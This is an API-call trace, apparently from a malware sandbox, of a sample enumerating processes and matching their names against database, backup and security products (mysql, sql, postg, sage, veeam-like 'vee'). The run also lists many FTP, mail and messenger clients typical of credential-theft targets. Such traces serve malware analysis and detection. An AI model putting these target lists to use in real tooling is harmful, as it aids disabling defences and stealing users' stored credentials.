[0030.506] StrCmpNW (lpStr1="aud", lpStr2="sql", nChar=3) returned -1
[0030.506] StrCmpNW (lpStr1="audiodg.e", lpStr2="store.exe", nChar=9) returned -1
[0030.506] StrCmpNW (lpStr1="aud", lpStr2="vee", nChar=3) returned -1
[0030.506] StrCmpNW (lpStr1="audio", lpStr2="postg", nChar=5) returned -1
[0030.506] StrCmpNW (lpStr1="audi", lpStr2="sage", nChar=4) returned -1
[0030.506] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.507] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.507] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.507] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.507] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.507] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.507] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.507] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.507] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.507] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.507] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.508] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.508] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.508] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.508] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.508] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.508] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
[0030.508] StrCmpNW (lpStr1="dwm.e", lpStr2="mysql", nChar=5) returned -1
[0030.508] StrCmpNW (lpStr1="dwm", lpStr2="IBM", nChar=3) returned -1
[0030.508] StrCmpNW (lpStr1="dwm.e", lpStr2="bes10", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="dwm.e", lpStr2="black", nChar=5) returned 1
[0030.508] StrCmpNW (lpStr1="dwm", lpStr2="sql", nChar=3) returned -1
[0030.508] StrCmpNW (lpStr1="dwm.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.508] StrCmpNW (lpStr1="dwm", lpStr2="vee", nChar=3) returned -1
[0030.508] StrCmpNW (lpStr1="dwm.e", lpStr2="postg", nChar=5) returned -1
[0030.508] StrCmpNW (lpStr1="dwm.", lpStr2="sage", nChar=4) returned -1
[0030.508] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
[0030.509] StrCmpNW (lpStr1="explo", lpStr2="mysql", nChar=5) returned -1
[0030.509] StrCmpNW (lpStr1="exp", lpStr2="IBM", nChar=3) returned -1
[0030.509] StrCmpNW (lpStr1="explo", lpStr2="bes10", nChar=5) returned 1
[0030.509] StrCmpNW (lpStr1="explo", lpStr2="black", nChar=5) returned 1
[0030.509] StrCmpNW (lpStr1="exp", lpStr2="sql", nChar=3) returned -1
[0030.509] StrCmpNW (lpStr1="explorer.", lpStr2="store.exe", nChar=9) returned -1
[0030.509] StrCmpNW (lpStr1="exp", lpStr2="vee", nChar=3) returned -1
[0030.509] StrCmpNW (lpStr1="explo", lpStr2="postg", nChar=5) returned -1
[0030.509] StrCmpNW (lpStr1="expl", lpStr2="sage", nChar=4) returned -1
[0030.509] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
[0030.510] StrCmpNW (lpStr1="spool", lpStr2="mysql", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="spo", lpStr2="IBM", nChar=3) returned 1
[0030.510] StrCmpNW (lpStr1="spool", lpStr2="bes10", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="spool", lpStr2="black", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="spo", lpStr2="sql", nChar=3) returned -1
[0030.510] StrCmpNW (lpStr1="spoolsv.e", lpStr2="store.exe", nChar=9) returned -1
[0030.510] StrCmpNW (lpStr1="spo", lpStr2="vee", nChar=3) returned -1
[0030.510] StrCmpNW (lpStr1="spool", lpStr2="postg", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="spoo", lpStr2="sage", nChar=4) returned 1
[0030.510] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0030.510] StrCmpNW (lpStr1="taskh", lpStr2="mysql", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="tas", lpStr2="IBM", nChar=3) returned 1
[0030.510] StrCmpNW (lpStr1="taskh", lpStr2="bes10", nChar=5) returned 1
[0030.510] StrCmpNW (lpStr1="taskh", lpStr2="black", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="tas", lpStr2="sql", nChar=3) returned 1
[0030.511] StrCmpNW (lpStr1="taskhost.", lpStr2="store.exe", nChar=9) returned 1
[0030.511] StrCmpNW (lpStr1="tas", lpStr2="vee", nChar=3) returned -1
[0030.511] StrCmpNW (lpStr1="taskh", lpStr2="postg", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="task", lpStr2="sage", nChar=4) returned 1
[0030.511] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.511] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.511] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.511] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.511] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.511] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.511] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.511] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0030.512] StrCmpNW (lpStr1="taske", lpStr2="mysql", nChar=5) returned 1
[0030.512] StrCmpNW (lpStr1="tas", lpStr2="IBM", nChar=3) returned 1
[0030.512] StrCmpNW (lpStr1="taske", lpStr2="bes10", nChar=5) returned 1
[0030.512] StrCmpNW (lpStr1="taske", lpStr2="black", nChar=5) returned 1
[0030.512] StrCmpNW (lpStr1="tas", lpStr2="sql", nChar=3) returned 1
[0030.512] StrCmpNW (lpStr1="taskeng.e", lpStr2="store.exe", nChar=9) returned 1
[0030.512] StrCmpNW (lpStr1="tas", lpStr2="vee", nChar=3) returned -1
[0030.512] StrCmpNW (lpStr1="taske", lpStr2="postg", nChar=5) returned 1
[0030.512] StrCmpNW (lpStr1="task", lpStr2="sage", nChar=4) returned 1
[0030.512] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0030.513] StrCmpNW (lpStr1="taskh", lpStr2="mysql", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="tas", lpStr2="IBM", nChar=3) returned 1
[0030.513] StrCmpNW (lpStr1="taskh", lpStr2="bes10", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="taskh", lpStr2="black", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="tas", lpStr2="sql", nChar=3) returned 1
[0030.513] StrCmpNW (lpStr1="taskhost.", lpStr2="store.exe", nChar=9) returned 1
[0030.513] StrCmpNW (lpStr1="tas", lpStr2="vee", nChar=3) returned -1
[0030.513] StrCmpNW (lpStr1="taskh", lpStr2="postg", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="task", lpStr2="sage", nChar=4) returned 1
[0030.513] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.513] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.513] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.513] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.513] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.513] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.513] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.514] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.514] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
[0030.514] StrCmpNW (lpStr1="sppsv", lpStr2="mysql", nChar=5) returned 1
[0030.514] StrCmpNW (lpStr1="spp", lpStr2="IBM", nChar=3) returned 1
[0030.514] StrCmpNW (lpStr1="sppsv", lpStr2="bes10", nChar=5) returned 1
[0030.514] StrCmpNW (lpStr1="sppsv", lpStr2="black", nChar=5) returned 1
[0030.514] StrCmpNW (lpStr1="spp", lpStr2="sql", nChar=3) returned -1
[0030.514] StrCmpNW (lpStr1="sppsvc.ex", lpStr2="store.exe", nChar=9) returned -1
[0030.514] StrCmpNW (lpStr1="spp", lpStr2="vee", nChar=3) returned -1
[0030.514] StrCmpNW (lpStr1="sppsv", lpStr2="postg", nChar=5) returned 1
[0030.514] StrCmpNW (lpStr1="spps", lpStr2="sage", nChar=4) returned 1
[0030.514] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.515] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.515] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.515] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.515] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.515] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.515] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.515] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk-launches.exe")) returned 1
[0030.516] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sayingphys.exe")) returned 1
[0030.516] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mario.exe")) returned 1
[0030.516] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature gras.exe")) returned 1
[0030.692] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="miller-da.exe")) returned 1
[0030.693] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearance_gis_apps.exe")) returned 1
[0030.693] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess-raw.exe")) returned 1
[0030.694] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outputsnicaragua.exe")) returned 1
[0030.694] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="plains.exe")) returned 1
[0030.695] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ballet expansys nearest.exe")) returned 1
[0030.695] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="decorativewebsterpurple.exe")) returned 1
[0030.696] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operators.exe")) returned 1
[0030.696] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="saudi powered.exe")) returned 1
[0030.696] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bye st.exe")) returned 1
[0030.697] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="francisco.exe")) returned 1
[0030.697] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
[0030.698] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
[0030.699] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
[0030.699] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
[0030.700] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
[0030.700] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
[0030.700] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
[0030.701] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
[0030.701] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
[0030.702] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
[0030.703] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
[0030.703] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
[0030.704] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
[0030.704] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
[0030.705] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
[0030.705] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
[0030.706] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
[0030.707] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
[0030.707] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
[0030.708] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
[0030.709] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
[0030.710] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
[0030.710] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
[0030.711] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
[0030.712] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
[0030.712] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
[0030.713] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
[0030.714] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
[0030.715] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
